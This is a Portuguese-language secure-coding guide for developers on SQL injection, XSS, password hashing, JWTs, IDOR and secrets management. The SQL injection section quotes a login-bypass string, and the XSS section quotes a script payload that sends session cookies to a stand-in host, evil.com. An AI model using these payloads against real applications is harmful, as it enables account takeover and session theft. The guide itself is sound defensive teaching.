Segurança para desenvolvedores: os ataques mais comuns e como proteger suas aplicações

Segurança não é responsabilidade exclusiva de especialistas — é responsabilidade de todo desenvolvedor que escreve código que processa dados de usuários. A maioria das vulnerabilidades críticas que aparecem em breaches de dados não são sofisticadas: são erros básicos e conhecidos que poderiam ter sido evitados com boas práticas de desenvolvimento. Conhecer os ataques mais comuns e como preveni-los não é opcional para quem quer construir aplicações profissionais.

SQL Injection: o ataque mais antigo ainda ativo

SQL injection acontece quando entrada do usuário é concatenada diretamente em queries SQL. Se um campo de login aceita ' OR '1'='1 como username e esse valor vai direto para a query, o atacante pode contornar autenticação, extrair o banco inteiro ou deletar dados. A prevenção é simples e absoluta: use prepared statements (queries parametrizadas) em vez de concatenação. Em Python (psycopg2): cursor.execute("SELECT * FROM users WHERE email = %s", (email,)). Em PHP (PDO): prepare() seguido de bindParam(). Em Java: PreparedStatement. Nunca, em hipótese alguma, construa queries SQL com string concatenation de inputs do usuário.

XSS (Cross-Site Scripting)

XSS ocorre quando conteúdo enviado por usuários é exibido na página sem ser sanitizado, permitindo que um atacante injete JavaScript malicioso. Se um campo de comentário aceita <script>document.location='https://evil.com/steal?cookie='+document.cookie</script> e esse texto é exibido diretamente no HTML para outros usuários, o script malicioso executa no browser das vítimas e pode roubar cookies de sessão.

Prevenção: sempre escape/encode o output. Em HTML, converta < para <, > para >, etc. Frameworks modernos como React, Vue e Angular fazem isso automaticamente — {variavel} no JSX é automaticamente escapado. Perigo está em usar dangerouslySetInnerHTML (React) ou v-html (Vue) com conteúdo de usuário — aí você está explicitamente desligando a proteção automática. Use Content Security Policy (CSP) no header HTTP como camada adicional de defesa.

Autenticação e gerenciamento de senhas

Nunca armazene senhas em texto plano. Use bcrypt, Argon2 ou scrypt para hash — esses algoritmos são deliberadamente lentos para dificultar ataques de força bruta contra o banco de dados vazado. Bcrypt com salt automático é a escolha padrão e bem suportada em todas as linguagens. Nunca use MD5 ou SHA-1 para senhas — são rápidos demais e quebráveis. JWTs para autenticação stateless devem ser assinados (não apenas encoded) com chave secreta forte e ter expiração curta — tokens sem expiração são um risco permanente se vazados.

IDOR e controle de acesso

Insecure Direct Object Reference (IDOR) é quando sua API expõe IDs numéricos e não verifica se o usuário autenticado tem permissão para acessar aquele recurso específico. Um endpoint GET /pedidos/4521 que retorna o pedido 4521 para qualquer usuário autenticado — mesmo que o pedido seja de outro cliente — é uma vulnerabilidade IDOR. A correção: em cada consulta de recurso, verifique explicitamente que o recurso pertence ao usuário autenticado ou que ele tem permissão para acessá-lo. Use UUIDs em vez de IDs sequenciais para dificultar enumeração.

Variáveis de ambiente: nunca credenciais no código

Senhas de banco de dados, chaves de API, secrets de JWT, credenciais de serviços externos — nunca devem aparecer no código-fonte ou no repositório Git. Uma vez commitadas, mesmo que removidas depois, essas credenciais permanecem no histórico Git acessível a qualquer um com acesso ao repositório. Use variáveis de ambiente (process.env.DB_PASSWORD em Node.js) ou serviços de secrets management (AWS Secrets Manager, HashiCorp Vault, Doppler). O arquivo .env local deve SEMPRE estar no .gitignore. O repositório deve ter um .env.example com todas as variáveis necessárias mas sem valores reais — como documentação de configuração. Esses cuidados básicos evitam a maioria dos incidentes de segurança relacionados a exposição de credenciais.